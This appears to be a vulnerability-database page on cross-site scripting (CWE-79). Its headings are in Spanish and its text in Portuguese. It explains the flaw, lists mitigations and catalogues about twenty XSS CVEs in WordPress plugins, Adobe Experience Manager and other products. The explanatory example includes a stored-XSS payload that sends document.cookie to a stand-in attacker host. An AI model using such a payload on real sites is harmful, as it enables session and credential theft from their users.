Fallos del tipo CWE-79

30.190 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46930MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-43809LOWIn JetBrains TeamCity before 2024.07.1 reflected XSS was possible on the agentPushPreset pageEPSS 0.3%CVE-2024-51863MEDIUMWordPress PF Timer plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-50823MEDIUMWordPress CSS & JavaScript Toolbox Plugin <= 11.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-5788MEDIUMSilesia <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button ShortcodeEPSS 0.3%CVE-2025-46971MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46914MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-52947MEDIUMA cross-site scripting (XSS) vulnerability in LemonLDAP::NG before 2.20.1 allows remote attackers to inject arbitrary web script or HTML viaEPSS 0.3%CVE-2024-51879MEDIUMWordPress Text Advertisements plugin <= 2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47078MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51917MEDIUMWordPress Multiple Votes in one page plugin <= 1.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22521HIGHWordPress wp Hosting Performance Check Plugin <= 2.18.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46910MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46947MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51867MEDIUMWordPress Simpul Events by Esotech plugin <= 1.8.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22576HIGHWordPress Site PIN Plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51922MEDIUMWordPress VP Sitemap plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51898MEDIUMWordPress Semantic Shortcode plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51684MEDIUMWordPress Easy Digital Downloads Plugin <= 3.2.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-46923MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%